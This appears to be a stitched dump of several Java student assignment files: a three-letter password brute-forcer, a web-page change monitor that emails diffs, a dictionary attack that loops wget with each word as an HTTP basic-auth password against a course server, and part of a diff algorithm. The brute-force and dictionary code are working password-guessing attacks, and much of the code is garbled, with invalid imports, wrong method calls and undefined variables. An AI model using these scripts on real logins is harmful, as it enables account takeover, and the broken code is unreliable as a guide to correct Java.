+        			System.out.println(""\n-s  -S\tonly tests lower  passwords."");
+        			System.out.println(""\n-v\tprints the patterns as    tried."");
+        			System.out.println(""-V\tprints out the patterns and the passwords as    generated. \n\tThis option slows the program considerably.\n"");
+        			return;
+        		    }	
+        		else if(args[i].indexOf(""-v"") > -1) 
+        		    pwForcer.verbose = CrackingConstants.verboseMode1;
+        		else if(args[i].indexOf(""-V"") > -1)
+        		    pwForcer.verbose = CrackingConstants.verboseMode2;
+        		else if((args[i].indexOf(""-s"") > -1) || (args[i].indexOf(""-S"") > -1))
+        		    pwForcer.scanType = CrackingConstants.simpleScan;
+		    }
+	    }
+
+        
+	    System.out.println(""\n\n********************************\n"");
+		System.out.println(""Starting brute force run at "" + 
+		    longTimestamp.format(new Date()));
+		if(args.length > 0)
+		{
+			String arguments = """";
+			for( i =0; i < args.length; i++)
+				arguments += args[i] + "" "";
+			System.out.println(""\nOptions: "" + arguments + ""\n"");
+		}
+		if(pwForcer.scanType == CrackingConstants.simpleScan)
+    	    System.out.println(""Only lower  passwords  tried."");
+    	else
+    	    System.out.println(""Both lower and upper  passwords  tried."");
+	    System.out.println(""\n********************************\n"");
+
+	    tStart = System.currentTimeMillis();
+	    pwForcer.run();
+	    tFinish = System.currentTimeMillis();
+	    
+        if (pwForcer.scanType == CrackingConstants.casedScan)
+        {
+	        
+    	    
+	        
+	        
+	        System.out.println (""\n\n"" + pwForcer.passwordsTried + "" passwords were generated (out of a possible "" + (26 * 26 * 26 * 8) + "")"");
+	        System.out.println (""That is "" + pwForcer.passwordsTried/8  + "" unique three letter combinations were tried (out of a possible "" + (26 * 26 * 26) + "")"");
+        }
+        else
+        {
+    	    System.out.println (""\n\n"" + pwForcer.passwordsTried + "" passwords were generated (out of a possible "" + (26 * 26 * 26) + "")\n"");
+        }
+        
+	    
+	    System.out.println(""\n********************************\n"");
+		System.out.println(""Finished brute force run at "" + 
+		    longTimestamp.format(new Date()));
+		System.out.println(""Time taken: "" + ((tFinish - tStart)/1000) + "" seconds"");
+	    System.out.println(""\n********************************"");
+	}   
+
+	
+    public BruteForce()
+    {
+    }   
+
+	
+    private void run()
+    {
+        
+        
+         leftIndex = 0;
+         midIndex = 0;
+         rightIndex = 0;
+        
+        
+		
+        
+    	if(verbose > CrackingConstants.quietMode)
+    	    System.out.println(""Trying stutters (AAA, aaa, etc.)"");
+        for( i = vowelLowerBound; i <= consonantUpperBound; i++)
+        {
+            leftIndex = i;
+            midIndex = i;
+            rightIndex = i;
+            if(tryLogin(leftIndex, midIndex, rightIndex))
+               return;
+        }
+            
+        
+    	if(verbose > CrackingConstants.quietMode)
+    	    System.out.println(""Trying consonant-vowel-consonant patterns."");
+        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
+            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
+                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
+                    if(tryLogin(leftIndex, midIndex, rightIndex))
+                        return;
+            
+        
+    	if(verbose > CrackingConstants.quietMode)
+    	    System.out.println(""Trying consonant-vowel-vowel patterns."");
+        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
+            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
+                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
+                    if(tryLogin(leftIndex, midIndex, rightIndex))
+                        return;
+            
+        
+    	if(verbose > CrackingConstants.quietMode)
+    	    System.out.println(""Trying vowel-consonant-vowel patterns."");
+        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
+            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
+                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
+                    if(tryLogin(leftIndex, midIndex, rightIndex))
+                        return;
+    
+        
+    	if(verbose > CrackingConstants.quietMode)
+    	    System.out.println(""Trying vowel-consonant-consonant patterns."");
+        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
+            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
+                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
+                    if(tryLogin(leftIndex, midIndex, rightIndex))
+                        return;
+    
+        
+    	if(verbose > CrackingConstants.quietMode)
+    	    System.out.println(""Trying vowel-vowel-consonant patterns."");
+        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
+            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
+                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
+                    if(tryLogin(leftIndex, midIndex, rightIndex))
+                        return;
+            
+        
+    	if(verbose > CrackingConstants.quietMode)
+    	    System.out.println(""Trying consonant-consonant-vowel patterns."");
+        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
+            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
+                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
+                    if(tryLogin(leftIndex, midIndex, rightIndex))
+                        return;
+            
+        
+    	if(verbose > CrackingConstants.quietMode)
+    	    System.out.println(""Trying  remaining vowel-vowel-vowel patterns."");
+        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
+            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
+                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
+                    if((leftIndex == midIndex) && (leftIndex == rightIndex))
+                    {
+                        
+                    }
+                    else
+                    {
+                        if(tryLogin(leftIndex, midIndex, rightIndex))
+                            return;
+                    }
+            
+        
+    	if(verbose > CrackingConstants.quietMode)
+    	    System.out.println(""Trying  remaining consonant-consonant-consonant patterns."");
+        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
+            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
+                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
+                    if((leftIndex == midIndex) && (leftIndex == rightIndex))
+                    {
+                        
+                    }
+                    else
+                    {
+                        if(tryLogin(leftIndex, midIndex, rightIndex))
+                            return;
+                    }
+        
+    	if(verbose > CrackingConstants.quietMode)
+    	    System.out.println(""Trying monographs (A, a, etc.)"");
+        for ( i = 0; i <= consonantUpperBound; i++)
+        {
+            leftIndex = i;
+            midIndex = -1;
+            rightIndex = -1;
+            if(tryLogin(leftIndex, midIndex, rightIndex))
+               return;
+        }
+        
+        
+        
+    	if(verbose > CrackingConstants.quietMode)
+    	    System.out.println(""Trying bigraphs (AA, aa, etc.)"");
+        for( i = 0; i <= consonantUpperBound; i++)
+        {
+        	for( j = 0; j <= consonantUpperBound; j++)
+        	{
+            	leftIndex = i;
+            	midIndex = j;
+        	    rightIndex = -1;
+    	        if(tryLogin(leftIndex, midIndex, rightIndex))
+	               return;
+            }
+        }
+        
+        return;
+     }   
+
+	
+    private boolean tryLogin( int leftIndex, int midIndex, int rightIndex)
+    {
+        
+        LoginAttempt login = new LoginAttempt();
+        LoginAttemptResults results = new LoginAttemptResults();
+
+        
+        CasePasswords casedPasswords = new CasePasswords(verbose);
+
+        
+        
+        String tail = """";
+
+        results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried);
+        passwordsTried = results.getPasswordsTried();
+        return results.getSuccess();
+    }
+         
+} 
+"
+192.java,"
+
+
+
+ 
+import java.io.*;
+import java.net.*;
+import java.Runtime;
+import java.util.*;
+import java.net.smtp.SmtpClient; 
+
+
+
+public class WatchDog
+
+{
+
+   static String strImageOutputFile01      = ""WebPageImages01.txt"";
+   static String strImageOutputFile02      = ""WebPageImages02.txt"";
+
+   static String strWebPageOutputFile01    = ""WebPageOutput01.txt"";
+   static String strWebPageOutputFile02    = ""WebPageOutput02.txt"";
+
+   static String strWatchDogDiffFile_01_02 = ""WatchDogDiff_01_02.txt"";
+
+   static String strFromEmailDefault = ""@.rmit.edu."";
+   static String strToEmailDefault   = ""@.rmit.edu."";
+
+   static String strFromEmail = null;
+   static String strToEmail   = null;
+
+
+
+
+   public static void main (String args[])
+   
+   {
+
+         
+         
+         
+         
+         
+
+      URL url = null;
+      HttpURLConnection urlConnection;
+      int intContentLength;
+      String strWebPageText = """";
+
+      String strURL     = ""http://www.cs.rmit.edu./students/"";
+      String strPrePend = ""http://www.cs.rmit.edu."";
+
+      boolean boolURLisOK = true;
+
+
+
+
+
+      System.out.println();
+
+
+         
+         
+      tidyUpWatchDogFiles();
+
+
+         
+         
+         
+         
+      promptForEmailAddresses();
+
+
+
+
+      try
+      {
+            
+            
+         url = new URL(strURL);       
+      }
+
+      catch(MalformedURLException e)
+      {
+         System.out.println(""ERROR:  invalid URL "" + strURL);   
+         System.err.println(e);  
+ 
+         boolURLisOK = false;
+         url = null;
+      }    
+
+      catch(Exception e)
+      {
+         System.out.println(""Exception"");   
+         System.err.println(e);  
+      }
+
+
+      System.err.println();  
+
+
+      if (boolURLisOK)
+      {
+         try
+         { 
+
+               
+               
+            urlConnection = (HttpURLConnection)url.openConnection();
+
+
+               
+               
+            InputStream urlStream = urlConnection.getInputStream();
+
+
+               
+               
+            int intNumRead = urlStream.print();
+            String strNewContent; 
+
+            while (intNumRead != -1)
+            {
+               intNumRead = urlStream.print();
+               if (intNumRead != -1)
+               {
+                  strNewContent = (char)intNumRead + """"; 
+                  strWebPageText += strNewContent;
+               }
+            }
+
+            urlStream.print(); 
+
+
+
+               
+               
+            if (strWebPageText != null)
+            {
+
+               if (fileExists(strWebPageOutputFile01))
+               {
+                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               
+               }
+
+               else
+               {
+                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               
+               }
+
+
+               if (fileExists(strWebPageOutputFile02))
+               { 
+                  System.out.println(""Output file"");
+                  System.out.println(""-----------"");
+                  System.out.println(""The output file '""   + 
+                                     strWebPageOutputFile02    + 
+                                     ""' has NOW BEEN created."");                                    
+                  System.out.println();
+                  System.out.println(""Comparison"");
+                  System.out.println(""----------"");
+                  System.out.println(""A text comparison  NOW  performed "" +
+                                      ""with the output"");
+                  System.out.println(""file '"" + strWebPageOutputFile01 + ""'."");
+                  System.out.println();
+
+
+
+                     
+                     
+
+                     
+                     
+                  createDiffFileIfNeeded(strWebPageOutputFile01, 
+                                         strWebPageOutputFile02);                  
+
+
+                     
+                     
+                  if (fileExists(strWatchDogDiffFile_01_02))
+                  { 
+
+                     System.out.println(""Mail  (ordinary text comparison)"");
+                     System.out.println(""--------------------------------"");
+
+                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)
+                     {
+                        sendMailWithDetectedChanges();
+                        System.out.println(""Text diff mail has been sent  the '' email address."");
+                     }
+                     else
+                     {
+                        System.out.println(""The DIFF file has zero length - text diff mail has NOT been sent."");
+                     }
+
+                  }
+
+
+
+                     
+                     
+                  createImageTextFile(strWebPageOutputFile01, strPrePend);
+                  createImageTextFile(strWebPageOutputFile02, strPrePend);
+
+                  System.out.println();
+                  System.out.println(""Image text file/s"");
+                  System.out.println(""-----------------"");
+
+
+                  if (fileExists(strImageOutputFile01))
+                  {
+                     System.out.println(""'"" + strImageOutputFile01 + ""' has been created."");
+                     System.out.println(""Images from '"" + strImageOutputFile01 + ""'  now  downloaded using"");  
+                     System.out.println(""the Unix 'wget' command:"");  
+
+                     downloadImages(strImageOutputFile01);
+                  }
+
+                  if (fileExists(strImageOutputFile02))
+                  {
+                     System.out.println();
+                     System.out.println(""'"" + strImageOutputFile02 + ""' has been created."");
+                  }
+
+                  System.out.println();
+
+               }
+
+               else if (fileExists(strWebPageOutputFile01))
+               {
+                  System.out.println(""Output file"");
+                  System.out.println(""-----------"");
+                  System.out.println(""The output file '""   + 
+                                     strWebPageOutputFile01    + 
+                                     ""' has NOW BEEN created."");                                    
+                  System.out.println();
+                  System.out.println(""Comparison"");
+                  System.out.println(""----------"");
+                  System.out.println(""A comparison CANNOT  performed "" +
+                                      ""with this output file"");
+                  System.out.println(""because it is the only output file "" +
+                                     ""in existence."");
+                  System.out.println();
+               }
+
+            }
+
+         }
+
+         catch(Exception e)
+         {
+
+            boolURLisOK = false;
+
+            System.err.println(e);
+         }   
+
+         finally
+         { 
+            urlConnection = null;
+            url = null; 
+         }
+
+      }
+
+
+      System.out.println();
+
+   }
+
+
+
+
+
+
+
+   static void tidyUpWatchDogFiles()
+   
+   {
+
+         
+         
+
+
+         
+         
+      deleteFile(strWatchDogDiffFile_01_02);
+
+
+         
+         
+      deleteFile(strImageOutputFile01);
+      deleteFile(strImageOutputFile02);
+
+
+      if (fileExists(strWebPageOutputFile01))
+      {
+
+         if (fileExists(strWebPageOutputFile02))
+         {
+               
+               
+               
+               
+               
+            deleteFile(strWebPageOutputFile01);
+            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);
+         }
+
+      }
+
+      else
+      {
+            
+            
+            
+         deleteFile(strWebPageOutputFile02);
+      }
+
+   }
+
+
+
+
+
+
+
+   static void promptForEmailAddresses()
+   
+   {      
+
+
+      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
+
+
+
+
+         
+         
+      System.out.println();
+      System.out.println(""'From' email address"");
+      System.out.println(""--------------------"");
+      System.out.println(""Please enter a 'From' email address,  press Enter for default"");
+      System.out.print(""(default: "" + strFromEmailDefault + ""):  "");
+
+      try
+      {
+         strFromEmail = stdin.readLine();
+      }
+      catch (Exception e)
+      {
+         System.err.println(e);
+      }
+ 
+
+      System.out.println();
+
+      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )
+      {
+         System.out.println("" email address was entered."");         
+         System.out.println(""The 'From' email address  default :  "" + strFromEmailDefault);         
+         strFromEmail = strFromEmailDefault;
+      }
+
+      else
+      {
+         System.out.println(""The entered 'From' email address is:  "" + strFromEmail);         
+      }
+
+
+
+         
+         
+      System.out.println();
+      System.out.println(""'' email address"");
+      System.out.println(""------------------"");
+      System.out.println(""Please enter a '' email address,  press Enter for default"");
+      System.out.print(""(default: "" + strToEmailDefault + ""):  "");
+
+      try
+      {
+         strToEmail = stdin.readLine();
+      }
+      catch (Exception e)
+      {
+         System.err.println(e);
+      }
+ 
+
+      System.out.println();
+
+      if ( (strToEmail == null) || (strToEmail.length() == 0) )
+      {
+         System.out.println("" email address was entered."");         
+         System.out.println(""The '' email address  default :  "" + strToEmailDefault);         
+         strToEmail = strToEmailDefault;
+      }
+
+      else
+      {
+         System.out.println(""The entered '' email address is:  "" + strToEmail);         
+      }
+
+   }
+
+
+
+
+
+
+
+   static void writeTextToFile(String strText,
+                               String strWriteToThisFileName)
+   
+   {
+
+      try
+      {
+
+         File newFile = new File(strWriteToThisFileName);
+
+         if (newFile.exists())
+         {
+            newFile.delete();
+         }
+
+
+         BufferedWriter toFile =
+              new BufferedWriter(new FileWriter(newFile,
+                                                false));
+
+         toFile.write(strText);
+
+         toFile.print();
+         toFile = null;
+         newFile = null;
+
+      }
+
+      catch(Exception e)
+      {
+         System.err.println(e.toString());
+         System.out.println(""File write problem for '"" + 
+                            strWriteToThisFileName     +
+                            ""'."");               
+      }
+
+   }
+
+
+
+
+
+
+
+   static void createDiffFileIfNeeded(String strFileName1, 
+                                      String strFileName2)
+   
+   {
+
+
+
+
+
+
+
+
+
+
+
+
+
+         
+         
+
+         
+         
+      try
+      {
+
+         Process p = Runtime.getRuntime().exec(""./diff_files.sh"");
+         p.waitFor();	
+
+      }
+
+      catch (Exception e)
+      {
+         System.out.println(""Shell script exception"");
+         System.out.println(""----------------------"");
+         System.err.println(e);
+         System.out.println("""");
+      }
+
+   }
+
+
+
+
+
+
+
+   static void createImageTextFile(String inputFile, String prePend)
+   
+   {
+
+         
+         
+         
+         
+         
+         
+         
+         
+         
+         
+         
+         
+         
+         
+         
+         
+         
+         
+         
+
+      String str;
+      String strImage = """";
+      String strImageArray[];
+      String strInputFromFile = """";
+      String strSearchString = ""<img src"";
+
+      boolean boolContinue = true;
+
+      int intImageCounter  = 0;
+      int intStartSearch   = 0;
+
+      char ch;
+
+
+
+
+
+      strImageArray = new String[1000];
+
+
+
+         
+         
+      try
+      {
+
+         BufferedReader file =
+              new BufferedReader(new FileReader(inputFile));
+
+
+         while ( (str = file.readLine()) != null)
+         {
+            strInputFromFile += str;
+         }
+
+         file.print();
+         file = null;
+
+      }
+
+      catch (Exception e)
+      {
+         boolContinue = false;
+         System.err.println(e);       
+      }	
+
+
+
+      if (boolContinue)
+      {
+
+         strInputFromFile = (strInputFromFile.toLowerCase()).trim();
+
+         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);
+
+
+         while (intStartSearch != -1)
+         {
+
+            intStartSearch += 8;
+
+            while ( (strInputFromFile.charAt(intStartSearch) == ' ')  ||
+                    (strInputFromFile.charAt(intStartSearch) == '=')  ||
+                    (strInputFromFile.charAt(intStartSearch) == '\""')   )
+            {
+               intStartSearch++;          
+            }
+
+            while ((strInputFromFile.charAt(intStartSearch) != '\""'))              
+            {
+
+               ch = strInputFromFile.charAt(intStartSearch);
+
+               strImage += String.valueOf(ch);
+               intStartSearch++;
+
+            }
+
+
+            if (strImage.startsWith(""/""))
+               strImage = prePend + strImage;          
+
+
+            intImageCounter++;
+            strImageArray[intImageCounter - 1] = strImage;
+
+            strImage = """";
+
+            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);
+
+         }
+
+
+         if (inputFile.equals(strWebPageOutputFile01))     
+         { 
+            writeTextArrayToFile(strImageArray, 
+                                 strImageOutputFile01,
+                                 intImageCounter);
+         }
+         else if (inputFile.equals(strWebPageOutputFile02))     
+         { 
+            writeTextArrayToFile(strImageArray, 
+                                 strImageOutputFile02,
+                                 intImageCounter);
+         }
+
+
+      }
+
+   }
+
+
+
+
+
+
+
+   static void downloadImages(String ImageOutputFile)
+   
+   {
+
+      Process p;
+
+      String str;
+      String strFileName;
+
+
+
+      try      
+      {
+
+         BufferedReader file =
+                 new BufferedReader(new FileReader(ImageOutputFile));
+
+
+
+         while ( (str = file.readLine()) != null)
+         {
+
+            strFileName = getImageFileName(str);
+
+            System.out.println(""    "" + str);
+            System.out.println(""             file name:  "" + strFileName);                                                           
+
+
+            if (fileExists(strFileName))
+               deleteFile(strFileName);
+
+
+            p = Runtime.getRuntime().exec(""wget "" + str);
+            p.waitFor();	
+
+         }
+
+
+         file = null;
+
+      }
+
+      catch (Exception e)
+      {
+         System.err.println(""downloadingImages:  "" + e);
+      }
+
+   }
+
+
+
+
+
+
+
+   static String getImageFileName(String imageFileName)
+   
+   {
+
+         
+         
+         
+
+      String strFileName;
+
+      int intFileNameLength     = imageFileName.length();      
+      int intStartPosOfFileName = intFileNameLength - 1;
+
+
+
+
+         
+         
+      while ( (intStartPosOfFileName >= 0) && 
+              (imageFileName.charAt(intStartPosOfFileName) != '/') )
+      {
+         intStartPosOfFileName--; 
+      }
+
+
+      strFileName = imageFileName.substring(intStartPosOfFileName + 1, 
+                                            intFileNameLength);
+
+
+      return strFileName;
+
+   }
+
+
+
+
+
+
+
+   static void writeTextArrayToFile(String strTextArray[],
+                                    String strWriteToThisFileName,
+                                    int numberOfImages )
+   
+   {
+
+      boolean boolFirstLineWritten = false;
+
+
+
+      try
+      {
+
+         File newFile = new File(strWriteToThisFileName);
+
+         if (newFile.exists())
+         {
+            newFile.delete();
+         }
+
+
+         BufferedWriter toFile =
+              new BufferedWriter(new FileWriter(newFile,
+                                                false));
+
+         for ( int i = 0 ; i < numberOfImages ; i++ )
+         {
+
+            if (boolFirstLineWritten) 
+               toFile.newLine();
+            else
+               boolFirstLineWritten = true;
+  
+
+            toFile.write(strTextArray[i]);
+
+         }
+
+
+         toFile.print();
+         toFile = null;
+         newFile = null;
+
+      }
+
+      catch(Exception e)
+      {
+         System.err.println(e.toString());
+         System.out.println(""File write problem for '"" + 
+                            strWriteToThisFileName     +
+                            ""'."");               
+      }
+
+   }
+
+
+
+
+
+
+
+   static boolean fileExists(String strFileName)
+   
+   {
+
+      boolean boolReturnValue;
+      File aFile = new File(strFileName);
+
+
+      if (aFile.exists())
+         boolReturnValue = true;
+      else
+         boolReturnValue = false;
+      
+
+      aFile = null;
+
+
+      return boolReturnValue;
+
+   }
+
+
+
+
+
+
+
+   static void deleteFile(String strFileName)
+   
+   {
+
+
+      if (fileExists(strFileName))
+      { 
+         File aFile = new File(strFileName);
+
+         try
+         {
+            aFile.delete();
+         }
+
+         catch (Exception e)
+         {
+            System.err.println(e);
+         }
+
+
+         aFile = null;
+
+      }
+
+   }
+
+
+
+
+
+
+
+   static void renameFile(String strFromFileName, String strToFileName)
+   
+   {
+
+
+      File from = new File(strFromFileName);
+      File to   = new File(strToFileName);
+
+
+      boolean success = from.renameTo();
+
+
+      from = null;
+      to = null;
+
+   }
+
+
+
+
+
+
+
+   static  getFileSize(String strFileName)
+   
+   {
+
+       lngReturnValue;
+
+
+
+      File file = new File(strFileName);
+      
+      lngReturnValue = file.length();
+
+      file = null;
+
+
+      return lngReturnValue;
+
+   }
+
+
+
+
+
+
+
+   static void sendMailWithDetectedChanges()
+   
+   {
+
+      String str;
+      String strInputFromFile = null;
+
+
+
+      try 
+      { 
+
+
+         BufferedReader fromFile =
+              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));
+
+
+         while ( (str = fromFile.readLine()) != null)
+         {
+            strInputFromFile += str;
+         }
+
+         fromFile.print();
+         fromFile = null;
+
+
+            
+            
+            
+         SmtpClient smtp = new SmtpClient(); 
+
+            
+            
+         smtp.from(strFromEmail); 
+
+            
+            
+         smtp.to(strToEmail); 
+
+            
+            
+         PrintStream msg = smtp.startMessage(); 
+
+            
+            
+         msg.println("": "" + strToEmail); 
+
+            
+            
+         msg.println(""From: "" + strFromEmail); 
+         msg.println(""Subject: Change in website content\n""); 
+         msg.println(strInputFromFile); 
+
+            
+            
+            
+         smtp.closeServer(); 
+
+      } 
+
+      catch (IOException e) 
+      {
+         System.err.println(e);     
+      } 
+
+   }
+
+}"
+010.java,"
+
+import java.io.*;
+import java.*;
+import java.util.StringTokenizer;
+
+public class Dictionary
+{
+   public static void main(String args[])
+   {
+      final String DICT_FILE = ""/usr/share/lib/dict/words""; 
+      String basic_url = ""http://sec-crack.cs.rmit.edu./SEC/2/"";  
+      String password;
+      String s = null;
+      int num_tries = 0;
+      
+      try
+      {
+         
+         BufferedReader dict_word = new BufferedReader
+                                  (new FileReader (DICT_FILE));
+  
+         
+         while((password = dict_word.readLine())!= null)
+         {        
+            try 
+            {
+               
+               Process p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd="" + password + "" "" + basic_url);
+              
+               BufferedReader stdInput = new BufferedReader(new 
+                     InputStreamReader(p.getInputStream()));
+
+               BufferedReader stdError = new BufferedReader(new 
+                     InputStreamReader(p.getErrorStream()));
+
+               
+               while ((s = stdInput.readLine()) != null)
+               {
+                  System.out.println(s);
+               }
+                  
+               
+               while ((s = stdError.readLine()) != null)
+               {
+                  System.out.println(s);
+               }
+
+               try
+	       {
+                  p.waitFor(); 
+               }
+               catch (InterruptedException g)  
+               {
+               }  
+
+               num_tries++;
+                  
+               if((p.exitValue()) == 0) 
+               {       
+                  System.out.println(""**********PASSWORD IS: "" + password);
+	          System.out.println(""**********NUMBER OF TRIES: "" + num_tries);
+                  System.exit(1);
+               }
+            }
+            catch (IOException e)
+            {
+               System.out.println(""exception happened - here's what I know: "");
+               e.printStackTrace();
+               System.exit(-1);
+            }
+         }
+         
+         System.out.println(""DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD"");
+         System.out.println(""**********Sorry, password was not found in dictionary file"");
+         System.exit(1);
+
+      }
+      catch (FileNotFoundException exception)
+      {
+         System.out.println(exception);
+      }
+      catch (IOException exception)
+      {
+         System.out.println(exception);
+      }
+   }
+}
+  
+"
+127.java,"
+
+import java.util.Hashtable;
+
+
+
+public class Diff {
+
+  
+  public Diff(Object[] a,Object[] b) {
+    Hashtable h = new Hashtable(a.length + b.length);
+    filevec[0] = new file_data(a,h);
+    filevec[1] = new file_data(b,h);
+  }
+
+  
+  private int equiv_max = 1;
+
+  
+  public boolean heuristic = false;
+
+  
+  public boolean no_discards = false;
+
+  private int[] xvec, yvec;     
+  private int[] fdiag;          
+  private int[] bdiag;          
+  private int fdiagoff, bdiagoff;
+  private final file_data[] filevec = new file_data[2];
+  private int cost;
+
+  
+
+  private int diag (int xoff, int xlim, int yoff, int ylim) {
+    final int[] fd = fdiag;     
+    final int[] bd = bdiag;     
+    final int[] xv = xvec;              
+    final int[] yv = yvec;              
+    final int dmin = xoff - ylim;       
+    final int dmax = xlim - yoff;       
+    final int fmid = xoff - yoff;       
+    final int bmid = xlim - ylim;       
+    int fmin = fmid, fmax = fmid;       
+    int bmin = bmid, bmax = bmid;       
+    
+    final boolean odd = (fmid - bmid & 1) != 0; 
+
+    fd[fdiagoff + fmid] = xoff;
+    bd[bdiagoff + bmid] = xlim;
+
+    for (int c = 1;; ++c)
+      {
+        int d;                  
+        boolean big_snake = false;
+
+        
+        if (fmin > dmin)
+          fd[fdiagoff + --fmin - 1] = -1;
+        else
+          ++fmin;
+        if (fmax < dmax)
+          fd[fdiagoff + ++fmax + 1] = -1;
+        else
+          --fmax;
+        for (d = fmax; d >= fmin; d -= 2)
+          {
+            int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d + 1];
+
+            if (tlo >= ylim)
+              x = tlo + 1;
+            else
+              x = ylim;
+            oldx = x;
+            y = x - d;
+            while (x < xlim && y < ylim && xv[x] == yv[y]) {
+              ++x; ++y;
+            }
+            if (x - oldx > 20)
+              big_snake = true;
+            fd[fdiagoff + d] = x;
+            if (odd && bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
+              {
+                cost = 2 * c - 1;
+                return d;
+              }
+          }
+
+        
+        if (bmin > dmin)
+          bd[bdiagoff + --bmin - 1] = Integer.MAX_VALUE;
+        else
+          ++bmin;
+        if (bmax < dmax)
+          bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE;
+        else
+          --bmax;
+        for (d = bmax; d >= bmin; d -= 2)
+          {
+            int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff + d + 1];
+
+            if (tlo < ylim)
+              x = tlo;
+            else
+              x =  - 1;
+            oldx = x;
+            y = x - d;
+            while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) {
+              --x; --y;
+            }
+            if (oldx - x > 20)
+              big_snake = true;
+            bd[bdiagoff + d] = x;
+            if (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
+              {
+                cost = 2 * c;
+                return d;
+              }
+          }
+
+        
+
+        if (c > 200 && big_snake && heuristic)
+          {
+            int i = 0;
+            int bestpos = -1;
+
+            for (d = fmax; d >= fmin; d -= 2)
+              {
+                int dd = d - fmid;
+                if ((fd[fdiagoff + d] - xoff)*2 - dd > 12 * (c + (dd > 0 ? dd : -dd)))
+                  {
+                    if (fd[fdiagoff + d] * 2 - dd > i
+                        && fd[fdiagoff + d] - xoff > 20
+                        && fd[fdiagoff + d] - d - yoff > 20)
+                      {
+                        int k;
+                        int x = fd[fdiagoff + d];
+
+                        
+                        for (k = 1; k <= 20; k++)
+                          if (xvec[x - k] != yvec[x - d - k])
+                            break;
+
+                        if (k == 21)
+                          {
+                             ylim = fd[fdiagoff + d] * 2 - dd;
+                            bestpos = d;
+                          }
+                      }
+                  }
+              }
+            if ( x> 0)
+              {
+                cost = 2 * c - 1;
+                return bestpos;
+              }
+
+             x= 0;
+            for (d = bmax; d >= bmin; d -= 2)
+              {
+                int dd = d - bmid;
+                if ((xlim - bd[bdiagoff + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd)))
+                  {
+                    if ((xlim - bd[bdiagoff + d]) * 2 + dd > i
+                        && xlim - bd[bdiagoff + d] > 20
+                        && x - (bd[bdiagoff + d] - d) > 20)
+                      {
+                        
+                        int k;
+                        int x = bd[bdiagoff + d];
+
+                        for (k = 0; k < 20; k++)
+                          if (xvec[x + k] != yvec[x - d + k])
+                            break;
+                        if (k == 20)
+                          {
+                            x = (xlim - bd[bdiagoff + d]) * 2 + dd;
+                            bestpos = d;
+                          }
+                      }
+                  }
+              }
+            if (x > 0)
+              {
+                cost = 2 * c - 1;
+                return bestpos;
+              }
+          }
+      }
+  }
+
+  
+
+  private void compareseq (int xoff, int xlim, int yoff, int ylim) {
+    
+    while (xoff < xlim && yoff < ylim && xvec[xoff] == yvec[yoff]) {
+      ++xoff; ++yoff;
+    }
+    
+    while (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) {
+      --xlim; --x;
+    }
+    
+    
+    if (xoff == xlim)
+      while (yoff < ylim)
+        filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true;
+    else if (yoff == ylim)
+      while (xoff < xlim)
+        filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]] = true;
+    else
+      {
+        
+
+        int d = diag (xoff, xlim, yoff, ylim );
+        int c = cost;
+        int f = fdiag[fdiagoff + d];
+        int b = bdiag[bdiagoff + d];
+
+        if (c == 1)
+          {
+            
+            throw new IllegalArgumentException(""Empty subsequence"");
+          }
+        else
+          {
+            
+            compareseq (xoff, b, yoff, b - d);
+            
+            compareseq (b, xlim, b - d,ylim );
+          }
+      }
+  }
+
+  
+
+  private void discard_confusing_lines() {
+    filevec[0].discard_confusing_lines(filevec[1]);
+    filevec[1].discard_confusing_lines(filevec[0]);
+  }
+
